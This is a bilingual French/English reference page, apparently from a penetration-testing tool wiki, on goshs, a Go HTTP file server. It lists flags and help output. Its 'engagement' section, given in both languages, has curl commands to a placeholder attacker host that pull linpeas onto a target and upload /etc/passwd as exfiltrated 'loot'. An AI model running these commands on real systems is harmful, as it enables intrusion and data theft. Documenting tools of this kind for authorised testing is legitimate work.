goshs

Serveur HTTP Go en binaire unique avec une interface web supportant l'upload et le téléchargement, utile pour un transfert de fichiers rapide pendant les missions. Single-binary Go HTTP server with a web UI supporting uploads and downloads, useful for quick file transfer during engagements.

↗ https://github.com/patrickhener/goshs

Overview

goshs is a self-contained HTTP server (no dependencies) that serves a directory listing with a clean web UI, drag-and-drop uploads, and optional HTTPS/basic-auth/webdav support. It’s a faster, friendlier alternative to python3 -m http.server for pulling tools onto a foothold or exfiltrating loot, especially when upload support or TLS is needed on the spot.

Common Usage

Serve the current directory on port 8000 (default)

goshs

Serve on a specific port and bind address

goshs -p 8080 -i 0.0.0.0

Serve over HTTPS with a self-signed cert (auto-generated)

goshs -s

Enable file uploads from clients

goshs -u

Require basic auth

goshs -b user:password

Typical Engagement Use

Attacker box: serve tools for a foothold to pull down

goshs -p 80 -i 0.0.0.0

On the target

curl http://<attacker-ip>/linpeas.sh -o /tmp/linpeas.sh

Enable uploads to catch exfiltrated loot from the target

goshs -u -p 443 -s

On the target: push a file back to the attacker

curl -F "file=@/etc/passwd" https://<attacker-ip>:443/upload

Tips

  • -s generates a throwaway self-signed cert automatically — no need to bring your own for a quick HTTPS listener
  • WebDAV mode (-w) lets Windows targets mount the share natively via net use, useful when curl/certutil are restricted
  • Read-only by default — uploads must be explicitly enabled with -u, reducing accidental exposure if left running
  • Clean single static binary — easy to drop on a pivot box that lacks Python
Help / Man page
Usage of goshs:
  -i string     IP/interface to bind to (default "0.0.0.0")
  -p int        Port to listen on (default 8000)
  -d string     Directory to serve (default ".")
  -s            Enable HTTPS with self-signed cert
  -sc string    Path to custom cert for HTTPS
  -sk string    Path to custom key for HTTPS
  -u            Enable file uploads
  -w            Enable WebDAV support
  -b string     Enable basic auth, format user:password
  -ip           Print all local IPs and exit
  -v            Print version and exit

Vue d’ensemble

goshs est un serveur HTTP autonome (sans dépendances) qui expose un listing de répertoire avec une interface web propre, des uploads par glisser-déposer, et un support optionnel HTTPS/basic-auth/webdav. C’est une alternative plus rapide et plus conviviale à python3 -m http.server pour récupérer des outils sur un point d’appui ou exfiltrer du butin, surtout quand un support d’upload ou TLS est nécessaire sur le moment.

Utilisation courante

# Servir le répertoire courant sur le port 8000 (par défaut)
goshs

# Servir sur un port et une adresse de bind spécifiques
goshs -p 8080 -i 0.0.0.0

# Servir en HTTPS avec un certificat auto-signé (généré automatiquement)
goshs -s

# Activer les uploads de fichiers depuis les clients
goshs -u

# Exiger une authentification basique
goshs -b user:password

Utilisation typique en mission

# Machine attaquante : servir les outils pour qu'un point d'appui les récupère
goshs -p 80 -i 0.0.0.0

# Sur la cible : récupérer un outil
curl http://<attacker-ip>/linpeas.sh -o /tmp/linpeas.sh

# Activer les uploads pour récupérer le butin exfiltré depuis la cible
goshs -u -p 443 -s

# Sur la cible : renvoyer un fichier vers l'attaquant
curl -F "file=@/etc/passwd" https://<attacker-ip>:443/upload

Conseils

  • -s génère automatiquement un certificat auto-signé jetable : pas besoin d’apporter le vôtre pour un listener HTTPS rapide
  • Le mode WebDAV (-w) permet aux cibles Windows de monter le partage nativement via net use, utile quand curl/certutil sont restreints
  • Lecture seule par défaut : les uploads doivent être explicitement activés avec -u, ce qui réduit l’exposition accidentelle si l’outil reste actif
  • Binaire statique unique et propre : facile à déposer sur une machine de rebond qui n’a pas Python
Aide / Page de manuel
Usage of goshs:
  -i string     IP/interface to bind to (default "0.0.0.0")
  -p int        Port to listen on (default 8000)
  -d string     Directory to serve (default ".")
  -s            Enable HTTPS with self-signed cert
  -sc string    Path to custom cert for HTTPS
  -sk string    Path to custom key for HTTPS
  -u            Enable file uploads
  -w            Enable WebDAV support
  -b string     Enable basic auth, format user:password
  -ip           Print all local IPs and exit
  -v            Print version and exit